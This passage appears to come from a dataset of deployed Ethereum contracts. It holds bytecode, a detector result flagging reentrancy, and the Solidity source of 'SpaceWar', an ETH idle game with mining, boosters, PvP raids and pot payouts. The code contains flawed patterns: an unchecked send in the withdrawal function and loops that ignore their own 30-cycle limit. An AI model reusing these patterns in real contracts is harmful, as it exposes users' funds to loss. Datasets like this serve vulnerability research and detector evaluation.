0000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156110e257506110e18273ffffffffffffffffffffffffffffffffffffffff16611663565b5b611154576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f43757272656e637920746f6b656e206973206e6f6e2d636f6e7472616374000081525060200191505060405180910390fd5b826000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550806003819055506001600460006101000a81548160ff0219169083151502179055506000600460016101000a81548160ff021916908315150217905550505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112da576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b600460009054906101000a900460ff1661135c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4e6f74207374617274207965742c20706c6561736520776169742e2e2e00000081525060200191505060405180910390fd5b6000600460006101000a81548160ff0219169083151502179055506001600460016101000a81548160ff021916908315150217905550565b600460019054906101000a900460ff1681565b600460009054906101000a900460ff1681565b611486838473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050611676565b505050565b61158b848573ffffffffffffffffffffffffffffffffffffffff166323b872dd905060e01b858585604051602401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050611676565b50505050565b60008082840190508381101561160f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600061165b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118c1565b905092915050565b600080823b905060008111915050919050565b6116958273ffffffffffffffffffffffffffffffffffffffff16611663565b611707576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e74726163740081525060200191505060405180910390fd5b600060608373ffffffffffffffffffffffffffffffffffffffff16836040518082805190602001908083835b602083106117565780518252602082019150602081019050602083039250611733565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146117b8576040519150601f19603f3d011682016040523d82523d6000602084013e6117bd565b606091505b509150915081611835576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c656481525060200191505060405180910390fd5b6000815111156118bb5780806020019051602081101561185457600080fd5b81019080805190602001909291905050506118ba576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180611a1a602a913960400191505060405180910390fd5b5b50505050565b600083831115829061196e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611933578082015181840152602081019050611918565b50505050905090810190601f1680156119605780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe54686520737562736372697074696f6e2071756f746120697320696e73756666696369656e7453656c6c20616d6f756e74206d757374206265206c6172676572207468616e2030546f6b656e2062616c616e6365206973206c6172676572207468616e20746f74616c537570706c7953756273637269626520616d6f756e74206d757374206265206c6172676572207468616e20313030305361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564427579206e6f74207374617274207965742c20706c6561736520776169742e2e2ea165627a7a72305820e9e70cf7cc4426a9f874cabde86f5d340d1c9c57ad471b7cf47459f63451bc580029 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 9,883 |
0x8F4D305a521A45B72B44CF96740F87a634E85143 | pragma solidity ^0.4.18;
/**
* SpaceWar
* ETH Idle Game
* spacewar.etherfun.net
*/
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a);
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b <= a);
c = a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a * b;
require(a == 0 || c / a == b);
}
}
library NumericSequence
{
using SafeMath for uint256;
function sumOfN(uint256 basePrice, uint256 pricePerLevel, uint256 owned, uint256 count) internal pure returns (uint256 price)
{
require(count > 0);
price = 0;
price += SafeMath.mul((basePrice + pricePerLevel * owned), count);
price += pricePerLevel * (count.mul((count-1))) / 2;
}
}
//-----------------------------------------------------------------------
contract SpaceWar {
using NumericSequence for uint;
using SafeMath for uint;
struct MinerData
{
uint256[9] spaces; // space types and their upgrades
uint8[3] hasUpgrade;
uint256 money;
uint256 lastUpdateTime;
uint256 premamentMineBonusPct;
uint256 unclaimedPot;
uint256 lastPotClaimIndex;
}
struct SpaceData
{
uint256 basePrice;
uint256 baseOutput;
uint256 pricePerLevel;
uint256 priceInETH;
uint256 limit;
}
struct BoostData
{
uint256 percentBonus;
uint256 priceInWEI;
}
struct PVPData
{
uint256[6] troops;
uint256 immunityTime;
uint256 exhaustTime;
}
struct TroopData
{
uint256 attackPower;
uint256 defensePower;
uint256 priceGold;
uint256 priceETH;
}
uint8 private constant NUMBER_OF_RIG_TYPES = 9;
SpaceData[9] private spaceData;
uint8 private constant NUMBER_OF_UPGRADES = 3;
BoostData[3] private boostData;
uint8 private constant NUMBER_OF_TROOPS = 6;
uint8 private constant ATTACKER_START_IDX = 0;
uint8 private constant ATTACKER_END_IDX = 3;
uint8 private constant DEFENDER_START_IDX = 3;
uint8 private constant DEFENDER_END_IDX = 6;
TroopData[6] private troopData;
// honey pot variables
uint256 private honeyPotAmount;
uint256 private honeyPotSharePct; // 90%
uint256 private jackPot;
uint256 private devFund;
uint256 private nextPotDistributionTime;
mapping(address => mapping(uint256 => uint256)) private minerICOPerCycle;
uint256[] private honeyPotPerCycle;
uint256[] private globalICOPerCycle;
uint256 private cycleCount;
//booster info
uint256 private constant NUMBER_OF_BOOSTERS = 5;
uint256 private boosterIndex;
uint256 private nextBoosterPrice;
address[5] private boosterHolders;
mapping(address => MinerData) private miners;
mapping(address => PVPData) private pvpMap;
mapping(uint256 => address) private indexes;
uint256 private topindex;
address private owner;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function SpaceWar() public {
owner = msg.sender;
// price, prod. upgrade, priceETH, limit
spaceData[0] = SpaceData(500, 1, 5, 0, 999);
spaceData[1] = SpaceData(50000, 10, 500, 0, 999);
spaceData[2] = SpaceData(5000000, 100, 50000, 0, 999);
spaceData[3] = SpaceData(80000000, 1000, 800000, 0, 999);
spaceData[4] = SpaceData(500000000, 20000, 5000000, 0.01 ether, 999);
spaceData[5] = SpaceData(10000000000, 100000, 100000000, 0, 999);
spaceData[6] = SpaceData(100000000000, 1000000, 1000000000, 0, 999);
spaceData[7] = SpaceData(1000000000000, 50000000, 10000000000, 0.1 ether, 999);
spaceData[8] = SpaceData(10000000000000, 100000000,100000000000, 0, 999);
boostData[0] = BoostData(30, 0.01 ether);
boostData[1] = BoostData(50, 0.1 ether);
boostData[2] = BoostData(100, 1 ether);
topindex = 0;
honeyPotAmount = 0;
devFund = 0;
jackPot = 0;
nextPotDistributionTime = block.timestamp;
honeyPotSharePct = 90;
// has to be set to a value
boosterHolders[0] = owner;
boosterHolders[1] = owner;
boosterHolders[2] = owner;
boosterHolders[3] = owner;
boosterHolders[4] = owner;
boosterIndex = 0;
nextBoosterPrice = 0.1 ether;
//pvp
troopData[0] = TroopData(10, 0, 100000, 0);
troopData[1] = TroopData(1000, 0, 80000000, 0);
troopData[2] = TroopData(100000, 0, 1000000000, 0.01 ether);
troopData[3] = TroopData(0, 15, 100000, 0);
troopData[4] = TroopData(0, 1500, 80000000, 0);
troopData[5] = TroopData(0, 150000, 1000000000, 0.01 ether);
honeyPotPerCycle.push(0);
globalICOPerCycle.push(1);
cycleCount = 0;
}
//--------------------------------------------------------------------------
// Data access functions
//--------------------------------------------------------------------------
function GetMinerData(address minerAddr) public constant returns
(uint256 money, uint256 lastupdate, uint256 prodPerSec,
uint256[9] spaces, uint[3] upgrades, uint256 unclaimedPot, bool hasBooster, uint256 unconfirmedMoney)
{
uint8 i = 0;
money = miners[minerAddr].money;
lastupdate = miners[minerAddr].lastUpdateTime;
prodPerSec = GetProductionPerSecond(minerAddr);
for(i = 0; i < NUMBER_OF_RIG_TYPES; ++i)
{
spaces[i] = miners[minerAddr].spaces[i];
}
for(i = 0; i < NUMBER_OF_UPGRADES; ++i)
{
upgrades[i] = miners[minerAddr].hasUpgrade[i];
}
unclaimedPot = miners[minerAddr].unclaimedPot;
hasBooster = HasBooster(minerAddr);
unconfirmedMoney = money + (prodPerSec * (now - lastupdate));
}
function GetTotalMinerCount() public constant returns (uint256 count)
{
count = topindex;
}
function GetMinerAt(uint256 idx) public constant returns (address minerAddr)
{
require(idx < topindex);
minerAddr = indexes[idx];
}
function GetPotInfo() public constant returns (uint256 _honeyPotAmount, uint256 _devFunds, uint256 _jackPot, uint256 _nextDistributionTime)
{
_honeyPotAmount = honeyPotAmount;
_devFunds = devFund;
_jackPot = jackPot;
_nextDistributionTime = nextPotDistributionTime;
}
function GetProductionPerSecond(address minerAddr) public constant returns (uint256 personalProduction)
{
MinerData storage m = miners[minerAddr];
personalProduction = 0;
uint256 productionSpeed = 100 + m.premamentMineBonusPct;
if(HasBooster(minerAddr)) // 100% bonus
productionSpeed += 100;
for(uint8 j = 0; j < NUMBER_OF_RIG_TYPES; ++j)
{
personalProduction += m.spaces[j] * spaceData[j].baseOutput;
}
personalProduction = personalProduction * productionSpeed / 100;
}
function GetGlobalProduction() public constant returns (uint256 globalMoney, uint256 globalHashRate)
{
globalMoney = 0;
globalHashRate = 0;
uint i = 0;
for(i = 0; i < topindex; ++i)
{
MinerData storage m = miners[indexes[i]];
globalMoney += m.money;
globalHashRate += GetProductionPerSecond(indexes[i]);
}
}
function GetBoosterData() public constant returns (address[5] _boosterHolders, uint256 currentPrice, uint256 currentIndex)
{
for(uint i = 0; i < NUMBER_OF_BOOSTERS; ++i)
{
_boosterHolders[i] = boosterHolders[i];
}
currentPrice = nextBoosterPrice;
currentIndex = boosterIndex;
}
function HasBooster(address addr) public constant returns (bool hasBoost)
{
for(uint i = 0; i < NUMBER_OF_BOOSTERS; ++i)
{
if(boosterHolders[i] == addr)
return true;
}
return false;
}
function GetPVPData(address addr) public constant returns (uint256 attackpower, uint256 defensepower, uint256 immunityTime, uint256 exhaustTime,
uint256[6] troops)
{
PVPData storage a = pvpMap[addr];
immunityTime = a.immunityTime;
exhaustTime = a.exhaustTime;
attackpower = 0;
defensepower = 0;
for(uint i = 0; i < NUMBER_OF_TROOPS; ++i)
{
attackpower += a.troops[i] * troopData[i].attackPower;
defensepower += a.troops[i] * troopData[i].defensePower;
troops[i] = a.troops[i];
}
}
function GetCurrentICOCycle() public constant returns (uint256)
{
return cycleCount;
}
function GetICOData(uint256 idx) public constant returns (uint256 ICOFund, uint256 ICOPot)
{
require(idx <= cycleCount);
ICOFund = globalICOPerCycle[idx];
if(idx < cycleCount)
{
ICOPot = honeyPotPerCycle[idx];
} else
{
ICOPot = honeyPotAmount / 10; // actual day estimate
}
}
function GetMinerICOData(address miner, uint256 idx) public constant returns (uint256 ICOFund, uint256 ICOShare, uint256 lastClaimIndex)
{
require(idx <= cycleCount);
ICOFund = minerICOPerCycle[miner][idx];
if(idx < cycleCount)
{
ICOShare = (honeyPotPerCycle[idx] * minerICOPerCycle[miner][idx]) / globalICOPerCycle[idx];
} else
{
ICOShare = (honeyPotAmount / 10) * minerICOPerCycle[miner][idx] / globalICOPerCycle[idx];
}
lastClaimIndex = miners[miner].lastPotClaimIndex;
}
function GetMinerUnclaimedICOShare(address miner) public constant returns (uint256 unclaimedPot)
{
MinerData storage m = miners[miner];
require(m.lastUpdateTime != 0);
require(m.lastPotClaimIndex < cycleCount);
uint256 i = m.lastPotClaimIndex;
uint256 limit = cycleCount;
if((limit - i) > 30) // more than 30 iterations(days) afk
limit = i + 30;
unclaimedPot = 0;
for(; i < cycleCount; ++i)
{
if(minerICOPerCycle[miner][i] > 0)
unclaimedPot += (honeyPotPerCycle[i] * minerICOPerCycle[miner][i]) / globalICOPerCycle[i];
}
}
// -------------------------------------------------------------------------
// SpaceWars game handler functions
// -------------------------------------------------------------------------
function StartNewMiner() external
{
require(miners[msg.sender].lastUpdateTime == 0);
miners[msg.sender].lastUpdateTime = block.timestamp;
miners[msg.sender].money = 0;
miners[msg.sender].spaces[0] = 1;
miners[msg.sender].unclaimedPot = 0;
miners[msg.sender].lastPotClaimIndex = cycleCount;
pvpMap[msg.sender].immunityTime = block.timestamp + 14400;
pvpMap[msg.sender].exhaustTime = block.timestamp;
indexes[topindex] = msg.sender;
++topindex;
}
function UpgradeSpace(uint8 spaceIdx, uint16 count) external
{
require(spaceIdx < NUMBER_OF_RIG_TYPES);
require(count > 0);
require(count <= 999);
require(spaceData[spaceIdx].priceInETH == 0);
MinerData storage m = miners[msg.sender];
require(spaceData[spaceIdx].limit >= (m.spaces[spaceIdx] + count));
UpdateMoney();
// the base of geometrical sequence
uint256 price = NumericSequence.sumOfN(spaceData[spaceIdx].basePrice, spaceData[spaceIdx].pricePerLevel, m.spaces[spaceIdx], count);
require(m.money >= price);
m.spaces[spaceIdx] = m.spaces[spaceIdx] + count;
if(m.spaces[spaceIdx] > spaceData[spaceIdx].limit)
m.spaces[spaceIdx] = spaceData[spaceIdx].limit;
m.money -= price;
}
function UpgradeSpaceETH(uint8 spaceIdx, uint256 count) external payable
{
require(spaceIdx < NUMBER_OF_RIG_TYPES);
require(count > 0);
require(count <= 999);
require(spaceData[spaceIdx].priceInETH > 0);
MinerData storage m = miners[msg.sender];
require(spaceData[spaceIdx].limit >= (m.spaces[spaceIdx] + count));
uint256 price = (spaceData[spaceIdx].priceInETH).mul(count);
uint256 priceCoin = NumericSequence.sumOfN(spaceData[spaceIdx].basePrice, spaceData[spaceIdx].pricePerLevel, m.spaces[spaceIdx], count);
UpdateMoney();
require(msg.value >= price);
require(m.money >= priceCoin);
BuyHandler(msg.value);
m.spaces[spaceIdx] = m.spaces[spaceIdx] + count;
if(m.spaces[spaceIdx] > spaceData[spaceIdx].limit)
m.spaces[spaceIdx] = spaceData[spaceIdx].limit;
m.money -= priceCoin;
}
function UpdateMoney() private
{
require(miners[msg.sender].lastUpdateTime != 0);
require(block.timestamp >= miners[msg.sender].lastUpdateTime);
MinerData storage m = miners[msg.sender];
uint256 diff = block.timestamp - m.lastUpdateTime;
uint256 revenue = GetProductionPerSecond(msg.sender);
m.lastUpdateTime = block.timestamp;
if(revenue > 0)
{
revenue *= diff;
m.money += revenue;
}
}
function UpdateMoneyAt(address addr) private
{
require(miners[addr].lastUpdateTime != 0);
require(block.timestamp >= miners[addr].lastUpdateTime);
MinerData storage m = miners[addr];
uint256 diff = block.timestamp - m.lastUpdateTime;
uint256 revenue = GetProductionPerSecond(addr);
m.lastUpdateTime = block.timestamp;
if(revenue > 0)
{
revenue *= diff;
m.money += revenue;
}
}
function BuyUpgrade(uint256 idx) external payable
{
require(idx < NUMBER_OF_UPGRADES);
require(msg.value >= boostData[idx].priceInWEI);
require(miners[msg.sender].hasUpgrade[idx] == 0);
require(miners[msg.sender].lastUpdateTime != 0);
BuyHandler(msg.value);
UpdateMoney();
miners[msg.sender].hasUpgrade[idx] = 1;
miners[msg.sender].premamentMineBonusPct += boostData[idx].percentBonus;
}
//--------------------------------------------------------------------------
// BOOSTER handlers
//--------------------------------------------------------------------------
function BuyBooster() external payable
{
require(msg.value >= nextBoosterPrice);
require(miners[msg.sender].lastUpdateTime != 0);
for(uint i = 0; i < NUMBER_OF_BOOSTERS; ++i)
if(boosterHolders[i] == msg.sender)
revert();
address beneficiary = boosterHolders[boosterIndex];
MinerData storage m = miners[beneficiary];
// 20% interest after 5 buys
m.unclaimedPot += (msg.value * 9403) / 10000;
// distribute the rest
honeyPotAmount += (msg.value * 597) / 20000;
devFund += (msg.value * 597) / 20000;
// increase price by 5%
nextBoosterPrice += nextBoosterPrice / 20;
UpdateMoney();
UpdateMoneyAt(beneficiary);
// transfer ownership
boosterHolders[boosterIndex] = msg.sender;
// increase booster index
boosterIndex += 1;
if(boosterIndex >= 5)
boosterIndex = 0;
}
//--------------------------------------------------------------------------
// PVP handler
//--------------------------------------------------------------------------
// 0 for attacker 1 for defender
function BuyTroop(uint256 idx, uint256 count) external payable
{
require(idx < NUMBER_OF_TROOPS);
require(count > 0);
require(count <= 1000);
PVPData storage pvp = pvpMap[msg.sender];
MinerData storage m = miners[msg.sender];
uint256 owned = pvp.troops[idx];
uint256 priceGold = NumericSequence.sumOfN(troopData[idx].priceGold, troopData[idx].priceGold / 100, owned, count);
uint256 priceETH = (troopData[idx].priceETH).mul(count);
UpdateMoney();
require(m.money >= priceGold);
require(msg.value >= priceETH);
if(priceGold > 0)
m.money -= priceGold;
if(msg.value > 0)
BuyHandler(msg.value);
pvp.troops[idx] += count;
}
function Attack(address defenderAddr) external
{
require(msg.sender != defenderAddr);
require(miners[msg.sender].lastUpdateTime != 0);
require(miners[defenderAddr].lastUpdateTime != 0);
PVPData storage attacker = pvpMap[msg.sender];
PVPData storage defender = pvpMap[defenderAddr];
uint i = 0;
uint256 count = 0;
require(block.timestamp > attacker.exhaustTime);
require(block.timestamp > defender.immunityTime);
// the aggressor loses immunity
if(attacker.immunityTime > block.timestamp)
attacker.immunityTime = block.timestamp - 1;
attacker.exhaustTime = block.timestamp + 3600;
uint256 attackpower = 0;
uint256 defensepower = 0;
for(i = 0; i < ATTACKER_END_IDX; ++i)
{
attackpower += attacker.troops[i] * troopData[i].attackPower;
defensepower += defender.troops[i + DEFENDER_START_IDX] * troopData[i + DEFENDER_START_IDX].defensePower;
}
if(attackpower > defensepower)
{
if(defender.immunityTime < block.timestamp + 14400)
defender.immunityTime = block.timestamp + 14400;
UpdateMoneyAt(defenderAddr);
MinerData storage m = miners[defenderAddr];
MinerData storage m2 = miners[msg.sender];
uint256 moneyStolen = m.money / 2;
for(i = DEFENDER_START_IDX; i < DEFENDER_END_IDX; ++i)
{
defender.troops[i] = defender.troops[i]/2;
}
for(i = ATTACKER_START_IDX; i < ATTACKER_END_IDX; ++i)
{
if(troopData[i].attackPower > 0)
{
count = attacker.troops[i];
// if the troops overpower the total defense power only a fraction is lost
if((count * troopData[i].attackPower) > defensepower)
{
count = count * defensepower / attackpower / 2;
}
else
{
count = count/2;
}
attacker.troops[i] = SafeMath.sub(attacker.troops[i],count);
defensepower -= count * troopData[i].attackPower;
}
}
m.money -= moneyStolen;
m2.money += moneyStolen;
} else
{
for(i = ATTACKER_START_IDX; i < ATTACKER_END_IDX; ++i)
{
attacker.troops[i] = attacker.troops[i] / 2;
}
for(i = DEFENDER_START_IDX; i < DEFENDER_END_IDX; ++i)
{
if(troopData[i].defensePower > 0)
{
count = defender.troops[i];
// if the troops overpower the total defense power only a fraction is lost
if((count * troopData[i].defensePower) > attackpower)
count = count * attackpower / defensepower / 2;
defender.troops[i] -= count;
attackpower -= count * troopData[i].defensePower;
}
}
}
}
//--------------------------------------------------------------------------
// ICO/Pot share functions
//--------------------------------------------------------------------------
function ReleaseICO() external
{
require(miners[msg.sender].lastUpdateTime != 0);
require(nextPotDistributionTime <= block.timestamp);
require(honeyPotAmount > 0);
require(globalICOPerCycle[cycleCount] > 0);
nextPotDistributionTime = block.timestamp + 86400;
honeyPotPerCycle[cycleCount] = honeyPotAmount / 10; // 10% of the pot
honeyPotAmount -= honeyPotAmount / 10;
honeyPotPerCycle.push(0);
globalICOPerCycle.push(0);
cycleCount = cycleCount + 1;
MinerData storage jakpotWinner = miners[msg.sender];
jakpotWinner.unclaimedPot += jackPot;
jackPot = 0;
}
function FundICO(uint amount) external
{
require(miners[msg.sender].lastUpdateTime != 0);
require(amount > 0);
MinerData storage m = miners[msg.sender];
UpdateMoney();
require(m.money >= amount);
m.money = (m.money).sub(amount);
globalICOPerCycle[cycleCount] = globalICOPerCycle[cycleCount].add(uint(amount));
minerICOPerCycle[msg.sender][cycleCount] = minerICOPerCycle[msg.sender][cycleCount].add(uint(amount));
}
function WithdrawICOEarnings() external
{
MinerData storage m = miners[msg.sender];
require(miners[msg.sender].lastUpdateTime != 0);
require(miners[msg.sender].lastPotClaimIndex < cycleCount);
uint256 i = m.lastPotClaimIndex;
uint256 limit = cycleCount;
if((limit - i) > 30) // more than 30 iterations(days) afk
limit = i + 30;
m.lastPotClaimIndex = limit;
for(; i < cycleCount; ++i)
{
if(minerICOPerCycle[msg.sender][i] > 0)
m.unclaimedPot += (honeyPotPerCycle[i] * minerICOPerCycle[msg.sender][i]) / globalICOPerCycle[i];
}
}
//--------------------------------------------------------------------------
// ETH handler functions
//--------------------------------------------------------------------------
function BuyHandler(uint amount) private
{
// add 90% to honeyPot
honeyPotAmount += (amount * honeyPotSharePct) / 100;
jackPot += amount / 100;
devFund += (amount * (100-(honeyPotSharePct+1))) / 100;
}
function WithdrawPotShare() public
{
MinerData storage m = miners[msg.sender];
require(m.unclaimedPot > 0);
require(m.lastUpdateTime != 0);
uint256 amntToSend = m.unclaimedPot;
m.unclaimedPot = 0;
if(msg.sender.send(amntToSend))
{
m.unclaimedPot = 0;
}
}
function WithdrawDevFunds() public
{
require(msg.sender == owner);
if(owner.send(devFund))
{
devFund = 0;
}
}
// fallback payment to pot
function() public payable {
devFund += msg.value;
}
} | 0x6080604052600436106101485763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630116bfc08114610152578063036a66eb1461015f5780631fd86a6a1461019257806333ad9495146101aa5780633a70eabd146101bf5780634c780596146101e057806356a4e7f9146102025780635b1fef12146102305780636e4dd931146102a85780637eb4b376146102e35780638357417d146102f4578063996f7602146103095780639f0eed0f1461031e578063af29951014610333578063b4beff8a14610368578063b4e6f92b146103aa578063bc346c9c146103b8578063bd1f7d52146103d9578063cb68780f14610432578063cc0f65f71461044a578063d291fa8114610500578063d511beec14610534578063dee8bd5114610549578063f362b9af1461055e578063fdade29f14610573575b604e805434019055005b61015d60043561057b565b005b34801561016b57600080fd5b50610180600160a060020a0360043516610687565b60408051918252519081900360200190f35b34801561019e57600080fd5b5061015d600435610718565b3480156101b657600080fd5b5061015d61081e565b3480156101cb57600080fd5b50610180600160a060020a036004351661088b565b3480156101ec57600080fd5b5061015d60ff6004351661ffff60243516610993565b34801561020e57600080fd5b50610217610b46565b6040805192835260208301919091528051918290030190f35b34801561023c57600080fd5b50610251600160a060020a0360043516610bac565b6040518086815260200185815260200184815260200183815260200182600660200280838360005b83811015610291578181015183820152602001610279565b505050509050019550505050505060405180910390f35b3480156102b457600080fd5b506102bd610c78565b604080519485526020850193909352838301919091526060830152519081900360800190f35b61015d60ff60043516602435610c8c565b34801561030057600080fd5b5061015d610e6d565b34801561031557600080fd5b50610180610ebc565b34801561032a57600080fd5b50610180610ec2565b34801561033f57600080fd5b50610354600160a060020a0360043516610ec8565b604080519115158252519081900360200190f35b34801561037457600080fd5b5061038c600160a060020a0360043516602435610f19565b60408051938452602084019290925282820152519081900360600190f35b61015d600435602435611039565b3480156103c457600080fd5b5061015d600160a060020a036004351661116f565b3480156103e557600080fd5b506103ee61152e565b604051808460a080838360005b838110156104135781810151838201526020016103fb565b5050505091909101938452505060208201526040805191829003019150f35b34801561043e57600080fd5b50610217600435611593565b34801561045657600080fd5b5061046b600160a060020a03600435166115fa565b6040518089815260200188815260200187815260200186600960200280838360005b838110156104a557818101518382015260200161048d565b5050505090500185600360200280838360005b838110156104d05781810151838201526020016104b8565b50505050905001848152602001831515151581526020018281526020019850505050505050505060405180910390f35b34801561050c57600080fd5b50610518600435611744565b60408051600160a060020a039092168252519081900360200190f35b34801561054057600080fd5b5061015d611771565b34801561055557600080fd5b5061015d611877565b34801561056a57600080fd5b5061015d6119a5565b61015d611a43565b6003811061058857600080fd5b602d816003811061059557fe5b600202016001015434101515156105ab57600080fd5b336000908152605b6020526040902060090181600381106105c857fe5b602081049091015460ff601f9092166101000a900416156105e857600080fd5b336000908152605b60205260409020600b0154151561060657600080fd5b61060f34611b90565b610617611bc3565b336000908152605b60205260409020600190600901826003811061063757fe5b602091828204019190066101000a81548160ff021916908360ff160217905550602d8160038110151561066657fe5b6002020154336000908152605b60205260409020600c018054909101905550565b600160a060020a0381166000908152605b60205260408120600c810154606401826106b185610ec8565b156106bd576064820191505b5060005b600960ff8216101561070957600060ff8216600981106106dd57fe5b6005020160010154836000018260ff166009811015156106f957fe5b01540293909301926001016106c1565b60648483020495945050505050565b336000908152605b60205260408120600b0154151561073657600080fd5b6000821161074357600080fd5b50336000908152605b6020526040902061075b611bc3565b600a81015482111561076c57600080fd5b600a810154610781908363ffffffff611c4a16565b600a820155605354605280546107b592859291811061079c57fe5b9060005260206000200154611c5f90919063ffffffff16565b60526053548154811015156107c657fe5b6000918252602080832090910192909255338152605082526040808220605354835290925220546107fd908363ffffffff611c5f16565b33600090815260506020908152604080832060535484529091529020555050565b336000908152605b60205260408120600d810154909190811061084057600080fd5b600b820154151561085057600080fd5b50600d810180546000918290556040519091339183156108fc0291849190818181858888f1935050505015610887576000600d8301555b5050565b600160a060020a0381166000908152605b60205260408120600b8101548290819015156108b757600080fd5b605354600e840154106108c957600080fd5b5050600e810154605354601e82820311156108e45750601e81015b600093505b60535482101561098b57600160a060020a0385166000908152605060209081526040808320858452909152812054111561098057605280548390811061092b57fe5b6000918252602080832090910154600160a060020a0388168352605082526040808420868552909252912054605180548590811061096557fe5b90600052602060002001540281151561097a57fe5b04840193505b8160010191506108e9565b505050919050565b600080600960ff8516106109a657600080fd5b600061ffff8416116109b757600080fd5b6103e761ffff841611156109ca57600080fd5b600060ff8516600981106109da57fe5b600502016003015460001415156109f057600080fd5b336000908152605b60205260409020915061ffff83168260ff861660098110610a1557fe5b015401600060ff861660098110610a2857fe5b600502016004015410151515610a3d57600080fd5b610a45611bc3565b610a95600060ff861660098110610a5857fe5b6005020154600060ff871660098110610a6d57fe5b6005020160020154846000018760ff16600981101515610a8957fe5b01548661ffff16611c75565b90508082600a015410151515610aaa57600080fd5b61ffff83168260ff861660098110610abe57fe5b0154018260ff861660098110610ad057fe5b0155600060ff851660098110610ae257fe5b6005020160040154826000018560ff16600981101515610afe57fe5b01541115610b3557600060ff851660098110610b1657fe5b6005020160040154826000018560ff16600981101515610b3257fe5b01555b600a90910180549190910390555050565b60008080805b605e54821015610ba657506000818152605d6020818152604080842054600160a060020a0316808552605b8352908420600a81015494869052929091529490910193610b9790610687565b83019250816001019150610b4c565b50509091565b600080600080610bba611d8b565b600160a060020a0386166000908152605c60205260408120600681015460078201549297508796509450909250845b6006811015610c6d5760338160068110610bff57fe5b6004020154828260068110610c1057fe5b015402969096019560338160068110610c2557fe5b60040201600101548260000182600681101515610c3e57fe5b0154029590950194818160068110610c5257fe5b0154838260068110610c6057fe5b6020020152600101610be9565b505091939590929450565b604b54604e54604d54604f54929391929091565b60008080600960ff861610610ca057600080fd5b60008411610cad57600080fd5b6103e7841115610cbc57600080fd5b60008060ff871660098110610ccd57fe5b6005020160030154111515610ce157600080fd5b336000908152605b602052604090209250838360ff871660098110610d0257fe5b015401600060ff871660098110610d1557fe5b600502016004015410151515610d2a57600080fd5b610d5484600060ff881660098110610d3e57fe5b6005020160030154611cc090919063ffffffff16565b9150610da2600060ff871660098110610d6957fe5b6005020154600060ff881660098110610d7e57fe5b6005020160020154856000018860ff16600981101515610d9a57fe5b015487611c75565b9050610dac611bc3565b34821115610db957600080fd5b600a830154811115610dca57600080fd5b610dd334611b90565b838360ff871660098110610de357fe5b0154018360ff871660098110610df557fe5b0155600060ff861660098110610e0757fe5b6005020160040154836000018660ff16600981101515610e2357fe5b01541115610e5a57600060ff861660098110610e3b57fe5b6005020160040154836000018660ff16600981101515610e5757fe5b01555b600a909201805492909203909155505050565b605f54600160a060020a03163314610e8457600080fd5b605f54604e54604051600160a060020a039092169181156108fc0291906000818181858888f1935050505015610eba576000604e555b565b605e5490565b60535490565b6000805b6005811015610f0e57600160a060020a03831660568260058110610eec57fe5b0154600160a060020a03161415610f065760019150610f13565b600101610ecc565b600091505b50919050565b60008060006053548411151515610f2f57600080fd5b600160a060020a0385166000908152605060209081526040808320878452909152902054605354909350841015610fc5576052805485908110610f6e57fe5b6000918252602080832090910154600160a060020a03881683526050825260408084208885529092529120546051805487908110610fa857fe5b906000526020600020015402811515610fbd57fe5b049150611014565b6052805485908110610fd357fe5b6000918252602080832090910154600160a060020a0388168352605082526040808420888552909252912054604b54600a90040281151561101057fe5b0491505b50600160a060020a039093166000908152605b60205260409020600e01549093909150565b6000808080806006871061104c57600080fd5b6000861161105957600080fd5b6103e886111561106857600080fd5b336000908152605c60209081526040808320605b909252909120909550935084876006811061109357fe5b015492506110d9603388600681106110a757fe5b6004020160020154606460338a6006811015156110c057fe5b60040201600201548115156110d157fe5b